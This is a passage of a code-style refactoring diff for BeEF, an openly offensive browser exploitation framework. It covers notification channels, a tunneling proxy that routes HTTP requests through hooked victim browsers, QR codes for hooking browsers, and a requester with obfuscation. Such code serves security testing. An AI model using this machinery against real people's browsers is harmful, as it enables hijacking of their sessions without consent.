'net/smtp' module BeEF -module Extension -module Notifications -module Channels - - class Email + module Extension + module Notifications + module Channels + class Email + # + # Constructor + # + def initialize(to_address, message) + @config = BeEF::Core::Configuration.instance + @from_address = @config.get('beef.extension.notifications.email.from_address') + @smtp_host = @config.get('beef.extension.notifications.email.smtp_host') + @smtp_port = @config.get('beef.extension.notifications.email.smtp_port') + @smtp_tls_enable = @config.get('beef.extension.notifications.email.smtp_tls_enable') + @password = @config.get('beef.extension.notifications.email.smtp_tls_password') - # - # Constructor - # - def initialize(to_address, message) - @config = BeEF::Core::Configuration.instance - @from_address = @config.get('beef.extension.notifications.email.from_address') - @smtp_host = @config.get('beef.extension.notifications.email.smtp_host') - @smtp_port = @config.get('beef.extension.notifications.email.smtp_port') - @smtp_tls_enable = @config.get('beef.extension.notifications.email.smtp_tls_enable') - @password = @config.get('beef.extension.notifications.email.smtp_tls_password') - - # configure the email client - msg = "Subject: BeEF Notification\n\n" + message - smtp = Net::SMTP.new @smtp_host, @smtp_port - #if @smtp_tls_enable? - # smtp.enable_starttls - # smtp.start('beefproject.com', @from_address, @password, :login) do - # smtp.send_message(msg, @from_address, @to_address) - # end - #else - smtp.start do - smtp.send_message(msg, @from_address, to_address) + # configure the email client + msg = "Subject: BeEF Notification\n\n#{message}" + smtp = Net::SMTP.new @smtp_host, @smtp_port + # if @smtp_tls_enable? + # smtp.enable_starttls + # smtp.start('beefproject.com', @from_address, @password, :login) do + # smtp.send_message(msg, @from_address, @to_address) + # end + # else + smtp.start do + smtp.send_message(msg, @from_address, to_address) + end + # end + end end - #end - + end end - end - end -end -end -end - diff --git a/extensions/notifications/channels/pushover.rb b/extensions/notifications/channels/pushover.rb index 50486b596..167f9f1c0 100644 --- a/extensions/notifications/channels/pushover.rb +++ b/extensions/notifications/channels/pushover.rb @@ -1,13 +1,11 @@ require 'rushover' module BeEF -module Extension -module Notifications -module Channels - - class Pushover - - def initialize(message) + module Extension + module Notifications + module Channels + class Pushover + def initialize(message) @config = BeEF::Core::Configuration.instance # Configure the Pushover Client @@ -15,12 +13,11 @@ module Channels res = client.notify(@config.get('beef.extension.notifications.pushover.user_key'), message) print_error '[Notifications] Pushover notification failed' unless res.ok? - rescue => e + rescue StandardError => e print_error "[Notifications] Pushover notification initialization failed: '#{e.message}'" + end end + end end + end end -end -end -end - diff --git a/extensions/notifications/channels/slack_workspace.rb b/extensions/notifications/channels/slack_workspace.rb index 7ee608760..728d6fe02 100644 --- a/extensions/notifications/channels/slack_workspace.rb +++ b/extensions/notifications/channels/slack_workspace.rb @@ -6,36 +6,36 @@ require 'slack-notifier' module BeEF -module Extension -module Notifications -module Channels + module Extension + module Notifications + module Channels + class SlackWorkspace + def initialize(message) + @config = BeEF::Core::Configuration.instance - class SlackWorkspace + # Configure the Slack Client + webhook_url = @config.get('beef.extension.notifications.slack.webhook_url') + channel = @config.get('beef.extension.notifications.slack.channel') + username = @config.get('beef.extension.notifications.slack.username') - def initialize(message) - @config = BeEF::Core::Configuration.instance + if webhook_url.include?('your_webhook_url') || !webhook_url.start_with?('https://hook\.slack.com/services/') + print_error '[Notifications] Invalid Slack WebHook URL' + return + end - # Configure the Slack Client - webhook_url = @config.get('beef.extension.notifications.slack.webhook_url') - channel = @config.get('beef.extension.notifications.slack.channel') - username = @config.get('beef.extension.notifications.slack.username') + notifier = Slack::Notifier.new( + webhook_url, + channel: channel, + username: username, + http_options: { open_timeout: 10 } + ) - if webhook_url =~ /your_webhook_url/ or webhook_url !~ %r{^https://hooks\.slack\.com\/services\/} - print_error '[Notifications] Invalid Slack WebHook URL' - return + notifier.ping message + rescue StandardError => e + print_error "[Notifications] Slack notification initialization failed: #{e.message}" + end + end end - - notifier = Slack::Notifier.new webhook_url, - channel: channel, - username: username, - http_options: { open_timeout: 10 } - - notifier.ping message - rescue => e - print_error "[Notifications] Slack notification initialization failed: #{e.message}" end end end -end -end -end diff --git a/extensions/notifications/channels/tweet.rb b/extensions/notifications/channels/tweet.rb index 5d79a00fa..18218025b 100644 --- a/extensions/notifications/channels/tweet.rb +++ b/extensions/notifications/channels/tweet.rb @@ -8,36 +8,32 @@ require 'twitter' module BeEF -module Extension -module Notifications -module Channels - - class Tweet + module Extension + module Notifications + module Channels + class Tweet + # + # Constructor + # + def initialize(username, message) + @config = BeEF::Core::Configuration.instance - # - # Constructor - # - def initialize(username, message) - @config = BeEF::Core::Configuration.instance + # configure the Twitter client + client = Twitter::REST::Client.new do |config| + config.consumer_key = @config.get('beef.extension.notifications.twitter.consumer_key') + config.consumer_secret = @config.get('beef.extension.notifications.twitter.consumer_secret') + config.oauth_token = @config.get('beef.extension.notifications.twitter.oauth_token') + config.oauth_token_secret = @config.get('beef.extension.notifications.twitter.oauth_token_secret') + end - # configure the Twitter client - client = Twitter::REST::Client.new do |config| - config.consumer_key = @config.get('beef.extension.notifications.twitter.consumer_key') - config.consumer_secret = @config.get('beef.extension.notifications.twitter.consumer_secret') - config.oauth_token = @config.get('beef.extension.notifications.twitter.oauth_token') - config.oauth_token_secret = @config.get('beef.extension.notifications.twitter.oauth_token_secret') - end - - begin - client.direct_message_create(username, message) - rescue - print_error "Twitter send failed, verify tokens have Read/Write/DM acceess..." + begin + client.direct_message_create(username, message) + rescue StandardError + print_error 'Twitter send failed, verify tokens have Read/Write/DM acceess...' + end + end + end end end end - end -end -end -end - diff --git a/extensions/notifications/extension.rb b/extensions/notifications/extension.rb index 0ad27560c..b4e0c0166 100644 --- a/extensions/notifications/extension.rb +++ b/extensions/notifications/extension.rb @@ -4,17 +4,15 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module Notifications - - extend BeEF::API::Extension - - @short_name = 'notifications' - @full_name = 'Notifications' - @description = 'Generates external notifications for events in BeEF' - -end -end + module Extension + module Notifications + extend BeEF::API::Extension + + @short_name = 'notifications' + @full_name = 'Notifications' + @description = 'Generates external notifications for events in BeEF' + end + end end require 'extensions/notifications/notifications' diff --git a/extensions/notifications/notifications.rb b/extensions/notifications/notifications.rb index d4ff70cb1..74d06f8b5 100644 --- a/extensions/notifications/notifications.rb +++ b/extensions/notifications/notifications.rb @@ -10,49 +10,38 @@ require 'extensions/notifications/channels/pushover' require 'extensions/notifications/channels/slack_workspace' module BeEF -module Extension -module Notifications + module Extension + module Notifications + # + # Notifications class + # + class Notifications + def initialize(from, event, time_now, hb) + @config = BeEF::Core::Configuration.instance + return unless @config.get('beef.extension.notifications.enable') - # - # Notifications class - # - class Notifications + @from = from + @event = event + @time_now = time_now + @hb = hb - def initialize(from, event, time_now, hb) - @config = BeEF::Core::Configuration.instance - if @config.get('beef.extension.notifications.enable') == false - # notifications are not enabled - return nil - else - @from = from - @event = event - @time_now = time_now - @hb = hb - end + message = "#{from} #{event} #{time_now} #{hb}" - message = "#{from} #{event} #{time_now} #{hb}" + if @config.get('beef.extension.notifications.twitter.enable') == true + username = @config.get('beef.extension.notifications.twitter.target_username') + BeEF::Extension::Notifications::Channels::Tweet.new(username, message) + end - if @config.get('beef.extension.notifications.twitter.enable') == true - username = @config.get('beef.extension.notifications.twitter.target_username') - BeEF::Extension::Notifications::Channels::Tweet.new(username,message) - end + if @config.get('beef.extension.notifications.email.enable') == true + to_address = @config.get('beef.extension.notifications.email.to_address') + BeEF::Extension::Notifications::Channels::Email.new(to_address, message) + end - if @config.get('beef.extension.notifications.email.enable') == true - to_address = @config.get('beef.extension.notifications.email.to_address') - BeEF::Extension::Notifications::Channels::Email.new(to_address,message) - end + BeEF::Extension::Notifications::Channels::Pushover.new(message) if @config.get('beef.extension.notifications.pushover.enable') == true - if @config.get('beef.extension.notifications.pushover.enable') == true - BeEF::Extension::Notifications::Channels::Pushover.new(message) - end - - if @config.get('beef.extension.notifications.slack.enable') == true - BeEF::Extension::Notifications::Channels::SlackWorkspace.new(message) + BeEF::Extension::Notifications::Channels::SlackWorkspace.new(message) if @config.get('beef.extension.notifications.slack.enable') == true + end end end - end - -end -end end diff --git a/extensions/proxy/api.rb b/extensions/proxy/api.rb index 3ac0c4c50..26646ae12 100644 --- a/extensions/proxy/api.rb +++ b/extensions/proxy/api.rb @@ -8,17 +8,16 @@ module BeEF module Proxy module API module RegisterHttpHandler - BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'pre_http_start') BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') def self.pre_http_start(http_hook_server) config = BeEF::Core::Configuration.instance - Thread.new{ - http_hook_server.semaphore.synchronize{ + Thread.new do + http_hook_server.semaphore.synchronize do BeEF::Extension::Proxy::Proxy.new - } - } + end + end print_info "HTTP Proxy: http://#{config.get('beef.extension.proxy.address')}:#{config.get('beef.extension.proxy.port')}" end diff --git a/extensions/proxy/extension.rb b/extensions/proxy/extension.rb index 8fe2fa059..e7c841e76 100644 --- a/extensions/proxy/extension.rb +++ b/extensions/proxy/extension.rb @@ -4,21 +4,19 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module Proxy - - extend BeEF::API::Extension - - @short_name = 'proxy' - @full_name = 'proxy' - @description = 'The tunneling proxy allows HTTP requests to the hooked domain to be tunneled through the victim browser' + module Extension + module Proxy + extend BeEF::API::Extension -end -end + @short_name = 'proxy' + @full_name = 'proxy' + @description = 'The tunneling proxy allows HTTP requests to the hooked domain to be tunneled through the victim browser' + end + end end require 'extensions/requester/models/http' -#require 'extensions/proxy/models/http' +# require 'extensions/proxy/models/http' require 'extensions/proxy/proxy' require 'extensions/proxy/api' require 'extensions/proxy/rest/proxy' diff --git a/extensions/proxy/proxy.rb b/extensions/proxy/proxy.rb index c8045b9ef..456f0f149 100644 --- a/extensions/proxy/proxy.rb +++ b/extensions/proxy/proxy.rb @@ -9,7 +9,6 @@ module BeEF module Extension module Proxy class Proxy - HB = BeEF::Core::Models::HookedBrowser H = BeEF::Core::Models::Http @response = nil @@ -22,14 +21,14 @@ module BeEF # setup proxy for SSL/TLS ssl_context = OpenSSL::SSL::SSLContext.new - #ssl_context.ssl_version = :TLSv1_2 + # ssl_context.ssl_version = :TLSv1_2 # load certificate begin cert_file = @conf.get('beef.extension.proxy.cert') cert = File.read(cert_file) ssl_context.cert = OpenSSL::X509::Certificate.new(cert) - rescue + rescue StandardError print_error "[Proxy] Could not load SSL certificate '#{cert_file}'" end @@ -38,7 +37,7 @@ module BeEF key_file = @conf.get('beef.extension.proxy.key') key = File.read(key_file) ssl_context.key = OpenSSL::PKey::RSA.new(key) - rescue + rescue StandardError print_error "[Proxy] Could not load SSL key '#{key_file}'" end @@ -51,7 +50,7 @@ module BeEF end end - def handle_request socket + def handle_request(socket) request_line = socket.readline # HTTP method # defaults to GET @@ -59,17 +58,15 @@ module BeEF # Handle SSL requests url_prefix = '' - if method == "CONNECT" then + if method == 'CONNECT' # request_line is something like: # CONNECT example.com:443 HTTP/1.1 - host_port = request_line.split(" ")[1] + host_port = request_line.split[1] proto = 'https' - url_prefix = proto + '://' + host_port + url_prefix = "#{proto}://#{host_port}" loop do line = socket.readline - if line.strip.empty? - break - end + break if line.strip.empty? end socket.puts("HTTP/1.0 200 Connection established\r\n\r\n") socket.accept @@ -77,13 +74,13 @@ module BeEF request_line = socket.readline end - method, path, version = request_line.split(" ") + method, _path, version = request_line.split # HTTP scheme/protocol # defaults to http proto = 'http' unless proto.eql?('https') # HTTP version # defaults to 1.0 - version = 'HTTP/1.0' if version !~ /\AHTTP\/\d\.\d\z/ + version = 'HTTP/1.0' if version !~ %r{\AHTTP/\d\.\d\z} # HTTP request path path = request_line[/^\w+\s+(\S+)/, 1] @@ -94,27 +91,23 @@ module BeEF # We're overwriting the URI::Parser UNRESERVED regex to prevent BAD URI errors # when sending attack vectors (see tolerant_parser) # anti: somehow the config below was removed, have a look into this - tolerant_parser = URI::Parser.new(:UNRESERVED => BeEF::Core::Configuration.instance.get("beef.extension.requester.uri_unreserved_chars")) + tolerant_parser = URI::Parser.new(UNRESERVED: BeEF::Core::Configuration.instance.get('beef.extension.requester.uri_unreserved_chars')) uri = tolerant_parser.parse(url.to_s) uri_path_and_qs = uri.query.nil? ? uri.path : "#{uri.path}?#{uri.query}" # extensions/requester/api/hook.rb parses raw_request to find port and path - raw_request = [method, uri_path_and_qs, version].join(' ') + "\r\n" + raw_request = "#{[method, uri_path_and_qs, version].join(' ')}\r\n" content_length = 0 loop do line = socket.readline - if line =~ /^Content-Length:\s+(\d+)\s*$/ - content_length = $1.to_i - end + content_length = Regexp.last_match(1).to_i if line =~ /^Content-Length:\s+(\d+)\s*$/ if line.strip.empty? # read data still in the socket, exactly bytes - if content_length >= 0 - raw_request += "\r\n" + socket.read(content_length) - end + raw_request += "\r\n#{socket.read(content_length)}" if content_length >= 0 break else raw_request += line @@ -124,24 +117,28 @@ module BeEF # Saves the new HTTP request to the db. It will be processed by the PreHookCallback of the requester component. # IDs are created and incremented automatically by DataMapper. http = H.new( - :request => raw_request, - :method => method, - :proto => proto, - :domain => uri.host, - :port => uri.port, - :path => uri_path_and_qs, - :request_date => Time.now, - :hooked_browser_id => self.get_tunneling_proxy, - :allow_cross_domain => "true" + request: raw_request, + method: method, + proto: proto, + domain: uri.host, + port: uri.port, + path: uri_path_and_qs, + request_date: Time.now, + hooked_browser_id: get_tunneling_proxy, + allow_cross_domain: 'true' ) http.save - print_debug("[PROXY] --> Forwarding request ##{http.id}: domain[#{http.domain}:#{http.port}], method[#{http.method}], path[#{http.path}], cross domain[#{http.allow_cross_domain}]") + print_debug( + "[PROXY] --> Forwarding request ##{http.id}: " \ + "domain[#{http.domain}:#{http.port}], " \ + "method[#{http.method}], " \ + "path[#{http.path}], " \ + "cross domain[#{http.allow_cross_domain}]" + ) # Wait for the HTTP response to be stored in the db. # TODO: re-implement this with EventMachine or with the Observer pattern. - while H.find(http.id).has_ran != "complete" - sleep 0.5 - end + sleep 0.5 while H.find(http.id).has_ran != 'complete' @response = H.find(http.id) print_debug "[PROXY] <-- Response for request ##{@response.id} to [#{@response.path}] on domain [#{@response.domain}:#{@response.port}] correctly processed" @@ -155,35 +152,37 @@ module BeEF # Some of the original response headers need to be removed, like encoding and cache related: for example # about encoding, the original response headers says that the content-length is 1000 as the response is gzipped, # but the final content-length forwarded back by the proxy is clearly bigger. Date header follows the same way. - response_headers = "" - if (response_status != -1 && response_status != 0) - ignore_headers = [ - "Content-Encoding", - "Keep-Alive", - "Cache-Control", - "Vary", - "Pragma", - "Connection", - "Expires", - "Accept-Ranges", - "Transfer-Encoding", - "Date"] + response_headers = '' + if response_status != -1 && response_status != 0 + ignore_headers = %w[ + Content-Encoding + Keep-Alive + Cache-Control + Vary + Pragma + Connection + Expires + Accept-Ranges + Transfer-Encoding + Date + ] headers.each_line do |line| # stripping the Encoding, Cache and other headers header_key = line.split(': ')[0] header_value = line.split(': ')[1] next if header_key.nil? - next if ignore_headers.any?{ |h| h.casecmp(header_key) == 0 } - if header_value.nil? - #headers_hash[header_key] = "" - else - # update Content-Length with the valid one - if header_key == "Content-Length" - response_headers += "Content-Length: #{response_body.size}\r\n" - else - response_headers += line - end + next if ignore_headers.any? { |h| h.casecmp(header_key).zero? } + + # ignore headers with no value (@todo: why?) + next if header_value.nil? + + unless header_key == 'Content-Length' + response_headers += line + next end + + # update Content-Length with the valid one + response_headers += "Content-Length: #{response_body.size}\r\n" end end @@ -193,10 +192,8 @@ module BeEF end def get_tunneling_proxy - proxy_browser = HB.where(:is_proxy => true).first - unless proxy_browser.nil? - return proxy_browser.session.to_s - end + proxy_browser = HB.where(is_proxy: true).first + return proxy_browser.session.to_s unless proxy_browser.nil? hooked_browser = HB.first unless hooked_browser.nil? @@ -211,4 +208,3 @@ module BeEF end end end - diff --git a/extensions/proxy/rest/proxy.rb b/extensions/proxy/rest/proxy.rb index a839aac7e..613cd09a7 100644 --- a/extensions/proxy/rest/proxy.rb +++ b/extensions/proxy/rest/proxy.rb @@ -6,10 +6,8 @@ module BeEF module Extension module Proxy - # This class handles the routing of RESTful API requests for the proxy class ProxyRest < BeEF::Core::Router::Router - # Filters out bad requests before performing any routing before do config = BeEF::Core::Configuration.instance @@ -27,68 +25,58 @@ module BeEF # Use a specified hooked browser as proxy post '/setTargetZombie' do - begin - body = JSON.parse(request.body.read) - hb_id = body['hb_id'] + body = JSON.parse(request.body.read) + hb_id = body['hb_id'] - result = {} - result['success'] = false - return result.to_json if hb_id.nil? + result = {} + result['success'] = false + return result.to_json if hb_id.nil? - hooked_browser = @hb.where(:session => hb_id).first - previous_proxy_hb = @hb.where(:is_proxy => true).first + hooked_browser = @hb.where(session: hb_id).first + previous_proxy_hb = @hb.where(is_proxy: true).first - # if another HB is currently set as tunneling proxy, unset it - unless previous_proxy_hb.nil? - previous_proxy_hb.update(:is_proxy => false) - print_debug("Unsetting previously HB [#{previous_proxy_hb.ip}] used as Tunneling Proxy") - end - - # set the HB requested in /setTargetProxy as Tunneling Proxy - unless hooked_browser.nil? - hooked_browser.update(:is_proxy => true) - print_info("Using Hooked Browser with ip [#{hooked_browser.ip}] as Tunneling Proxy") - result['success'] = true - end - - result.to_json - - rescue InvalidParamError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error setting browser as proxy (#{e.message})" - halt 500 + # if another HB is currently set as tunneling proxy, unset it + unless previous_proxy_hb.nil? + previous_proxy_hb.update(is_proxy: false) + print_debug("Unsetting previously HB [#{previous_proxy_hb.ip}] used as Tunneling Proxy") end + # set the HB requested in /setTargetProxy as Tunneling Proxy + unless hooked_browser.nil? + hooked_browser.update(is_proxy: true) + print_info("Using Hooked Browser with ip [#{hooked_browser.ip}] as Tunneling Proxy") + result['success'] = true + end + + result.to_json + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error setting browser as proxy (#{e.message})" + halt 500 end # Raised when invalid JSON input is passed to an /api/proxy handler. class InvalidJsonError < StandardError - - DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/proxy handler' + DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/proxy handler'.freeze def initialize(message = nil) super(message || DEFAULT_MESSAGE) end - end # Raised when an invalid named parameter is passed to an /api/proxy handler. class InvalidParamError < StandardError - - DEFAULT_MESSAGE = 'Invalid parameter passed to /api/proxy handler' + DEFAULT_MESSAGE = 'Invalid parameter passed to /api/proxy handler'.freeze def initialize(message = nil) - str = "Invalid \"%s\" parameter passed to /api/proxy handler" - message = sprintf str, message unless message.nil? + str = 'Invalid "%s" parameter passed to /api/proxy handler' + message = format str, message unless message.nil? super(message) end - end - end - end end end diff --git a/extensions/qrcode/extension.rb b/extensions/qrcode/extension.rb index 5747f707c..7c7642814 100644 --- a/extensions/qrcode/extension.rb +++ b/extensions/qrcode/extension.rb @@ -4,17 +4,15 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module Qrcode - - extend BeEF::API::Extension - - @short_name = 'qrcode' - @full_name = 'QR Code Generator' - @description = 'This extension generates QR Codes for specified URLs which can be used to hook browsers into BeEF.' + module Extension + module Qrcode + extend BeEF::API::Extension -end -end + @short_name = 'qrcode' + @full_name = 'QR Code Generator' + @description = 'This extension generates QR Codes for specified URLs which can be used to hook browsers into BeEF.' + end + end end require 'extensions/qrcode/qrcode' diff --git a/extensions/qrcode/qrcode.rb b/extensions/qrcode/qrcode.rb index 331bc2e65..5a792e883 100644 --- a/extensions/qrcode/qrcode.rb +++ b/extensions/qrcode/qrcode.rb @@ -4,88 +4,89 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module Qrcode + module Extension + module Qrcode + module QrcodeGenerator + BeEF::API::Registrar.instance.register(BeEF::Extension::Qrcode::QrcodeGenerator, BeEF::API::Server, 'pre_http_start') - module QrcodeGenerator + def self.pre_http_start(_http_hook_server) + require 'uri' + require 'qr4r' - BeEF::API::Registrar.instance.register(BeEF::Extension::Qrcode::QrcodeGenerator, BeEF::API::Server, 'pre_http_start') - - def self.pre_http_start(http_hook_server) - require 'uri' - require 'qr4r' + fullurls = [] - fullurls = [] + # get server config + configuration = BeEF::Core::Configuration.instance + beef_proto = configuration.beef_proto + beef_host = configuration.beef_host + beef_port = configuration.beef_port - # get server config - configuration = BeEF::Core::Configuration.instance - beef_proto = configuration.beef_proto - beef_host = configuration.beef_host - beef_port = configuration.beef_port + # get URLs from QR config + configuration.get('beef.extension.qrcode.targets').each do |target| + # absolute URLs + if target.lines.grep(%r{^https?://}i).size.positive? + fullurls << target + # relative URLs + else + # network interfaces + BeEF::Core::Console::Banners.interfaces.each do |int| + next if int == '0.0.0.0' - # get URLs from QR config - configuration.get("beef.extension.qrcode.targets").each do |target| - # absolute URLs - if target.lines.grep(/^https?:\/\//i).size > 0 - fullurls << target - # relative URLs - else - # network interfaces - BeEF::Core::Console::Banners.interfaces.each do |int| - next if int == "0.0.0.0" - fullurls << "#{beef_proto}://#{int}:#{beef_port}#{target}" + fullurls << "#{beef_proto}://#{int}:#{beef_port}#{target}" + end + # beef host + fullurls << "#{beef_proto}://#{beef_host}:#{beef_port}#{target}" unless beef_host == '0.0.0.0' + end end - # beef host - unless beef_host == "0.0.0.0" - fullurls << "#{beef_proto}://#{beef_host}:#{beef_port}#{target}" - end - end - end - unless fullurls.empty? - img_dir = 'extensions/qrcode/images' - begin - Dir.mkdir(img_dir) unless File.directory?(img_dir) - rescue - print_error "[QR] Could not create directory '#{img_dir}'" - end - data = '' - fullurls.uniq.each do |target| - fname = ('a'..'z').to_a.shuffle[0,8].join - qr_path = "#{img_dir}/#{fname}.png" + return unless fullurls.empty? + + img_dir = 'extensions/qrcode/images' begin - qr = Qr4r::encode( - target, qr_path, { - :pixel_size => configuration.get("beef.extension.qrcode.qrsize"), - :border => configuration.get("beef.extension.qrcode.qrborder") - }) - rescue - print_error "[QR] Could not write file '#{qr_path}'" - next + Dir.mkdir(img_dir) unless File.directory?(img_dir) + rescue StandardError + print_error "[QR] Could not create directory '#{img_dir}'" end - print_debug "[QR] Wrote file '#{qr_path}'" - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind( - "/#{qr_path}", "/qrcode/#{fname}", 'png') - data += "#{beef_proto}://#{beef_host}:#{beef_port}/qrcode/#{fname}.png\n" - data += "- URL: #{target}\n" - # Google API - #url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]")) - #w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100 - #h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100 - #data += "- Google API: https://chart.googleapis.com/chart?cht=qr&chs=#{w}x#{h}&chl=#{url}\n" - # QRServer.com - #url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]")) - #w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100 - #h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100 - #data += "- QRServer API: https://api.qrserver.com/v1/create-qr-code/?size=#{w}x#{h}&data=#{url}\n" - end - print_info "QR code images available:" - print_more data - end - end - - end -end -end + data = '' + fullurls.uniq.each do |target| + fname = ('a'..'z').to_a.sample(8).join + qr_path = "#{img_dir}/#{fname}.png" + begin + Qr4r.encode( + target, qr_path, { + pixel_size: configuration.get('beef.extension.qrcode.qrsize'), + border: configuration.get('beef.extension.qrcode.qrborder') + } + ) + rescue StandardError + print_error "[QR] Could not write file '#{qr_path}'" + next + end + + print_debug "[QR] Wrote file '#{qr_path}'" + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind( + "/#{qr_path}", "/qrcode/#{fname}", 'png' + ) + + data += "#{beef_proto}://#{beef_host}:#{beef_port}/qrcode/#{fname}.png\n" + data += "- URL: #{target}\n" + # Google API + # url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]")) + # w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100 + # h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100 + # data += "- Google API: https://chart.googleapis.com/chart?cht=qr&chs=#{w}x#{h}&chl=#{url}\n" + # QRServer.com + # url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]")) + # w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100 + # h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100 + # data += "- QRServer API: https://api.qrserver.com/v1/create-qr-code/?size=#{w}x#{h}&data=#{url}\n" + end + + print_info 'QR code images available:' + print_more data + end + end + end + end end diff --git a/extensions/requester/api.rb b/extensions/requester/api.rb index 0753dd1fb..4dbaf0bbc 100644 --- a/extensions/requester/api.rb +++ b/extensions/requester/api.rb @@ -4,25 +4,25 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module Requester - module RegisterHttpHandler - BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') - - def self.mount_handler(beef_server) - beef_server.mount('/requester', BeEF::Extension::Requester::Handler) - beef_server.mount('/api/requester', BeEF::Extension::Requester::RequesterRest.new) - end - end + module Extension + module Requester + module RegisterHttpHandler + BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') - module RegisterPreHookCallback - BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send') + def self.mount_handler(beef_server) + beef_server.mount('/requester', BeEF::Extension::Requester::Handler) + beef_server.mount('/api/requester', BeEF::Extension::Requester::RequesterRest.new) + end + end - def self.pre_hook_send(hooked_browser, body, params, request, response) - dhook = BeEF::Extension::Requester::API::Hook.new - dhook.requester_run(hooked_browser, body) + module RegisterPreHookCallback + BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send') + + def self.pre_hook_send(hooked_browser, body, _params, _request, _response) + dhook = BeEF::Extension::Requester::API::Hook.new + dhook.requester_run(hooked_browser, body) + end + end end end end -end -end diff --git a/extensions/requester/api/hook.rb b/extensions/requester/api/hook.rb index e8f0df943..ad055d12b 100644 --- a/extensions/requester/api/hook.rb +++ b/extensions/requester/api/hook.rb @@ -8,10 +8,8 @@ module BeEF module Extension module Requester module API - require 'uri' class Hook - include BeEF::Core::Handlers::Modules::BeEFJS # If the HTTP table contains requests that need to be sent (has_ran = waiting), retrieve @@ -21,33 +19,30 @@ module BeEF # Generate all the requests and output them to the hooked browser output = [] print_debug hb.to_json - BeEF::Core::Models::Http.where(:hooked_browser_id => hb.session, :has_ran => "waiting").each { |h| - output << self.requester_parse_db_request(h) - } + BeEF::Core::Models::Http.where(hooked_browser_id: hb.session, has_ran: 'waiting').each do |h| + output << requester_parse_db_request(h) + end - return if output.empty? + config = BeEF::Core::Configuration.instance ws = BeEF::Core::Websocket::Websocket.instance - if config.get("beef.extension.evasion.enable") - evasion = BeEF::Extension::Evasion::Evasion.instance - end + evasion = BeEF::Extension::Evasion::Evasion.instance if config.get('beef.extension.evasion.enable') - - # todo antisnatchor: prevent sending "content" multiple times. + # TODO: antisnatchor: prevent sending "content" multiple times. # Better leaving it after the first run, and don't send it again. # todo antisnatchor: remove this gsub crap adding some hook packing. # If we use WebSockets, just reply wih the component contents - if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session) - content = File.read(find_beefjs_component_path 'beef.net.requester').gsub('// + if config.get('beef.http.websocket.enable') && ws.getsocket(hb.session) + content = File.read(find_beefjs_component_path('beef.net.requester')).gsub('// // Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file \'doc/COPYING\' for copying permission - //', "") + //', '') add_to_body output - if config.get("beef.extension.evasion.enable") + if config.get('beef.extension.evasion.enable') ws.send(evasion.obfuscate(content) + @body, hb.session) else ws.send(content + @body, hb.session) @@ -64,7 +59,7 @@ module BeEF def add_to_body(output) config = BeEF::Core::Configuration.instance - req = %Q{ + req = %{ beef.execute(function() { beef.net.requester.send( #{output.to_json} @@ -72,7 +67,7 @@ module BeEF }); } - if config.get("beef.extension.evasion.enable") + if config.get('beef.extension.evasion.enable') evasion = BeEF::Extension::Evasion::Evasion.instance @body << evasion.obfuscate(req) else @@ -86,7 +81,6 @@ module BeEF # The Hash will then be converted into JSON, given as input to beef.net.requester.send Javascript API function # and finally sent to and executed by the hooked browser. def requester_parse_db_request(http_db_object) - allow_cross_domain = http_db_object.allow_cross_domain.to_s verb = http_db_object.method.upcase proto = http_db_object.proto.downcase @@ -98,71 +92,65 @@ module BeEF @host = http_db_object.domain @port = http_db_object.port - print_debug "http_db_object:" + print_debug 'http_db_object:' print_debug http_db_object.to_json - #@note: retrieve HTTP headers values needed later, and the \r\n that indicates the start of the post-data (if any) + # @note: retrieve HTTP headers values needed later, and the \r\n that indicates the start of the post-data (if any) req_parts.each_with_index do |value, index| - if value.match(/^Content-Length:\s+(\d+)/) - @content_length = Integer(req_parts[index].split(/:\s+/)[1]) - end + @content_length = Integer(req_parts[index].split(/:\s+/)[1]) if value.match(/^Content-Length:\s+(\d+)/) - if value.eql?("") or value.strip.empty? # this will be the CRLF (before HTTP request body) - @post_data_index = index - end + @post_data_index = index if value.eql?('') || value.strip.empty? # this will be the CRLF (before HTTP request body) end - #@note: add HTTP request headers to an Hash + # @note: add HTTP request headers to an Hash req_parts.each_with_index do |value, index| if verb.eql?('POST') - if index > 0 and index < @post_data_index #only add HTTP headers, not the verb/uri/version or post-data - header_key = value.split(/: /)[0] - header_value = value.split(/: /)[1] - headers[header_key] = header_value - end - else - if index > 0 #only add HTTP headers, not the verb/uri/version - header_key = value.split(/: /)[0] - header_value = value.split(/: /)[1] - headers[header_key] = header_value + if index.positive? && (index < @post_data_index) # only add HTTP headers, not the verb/uri/version or 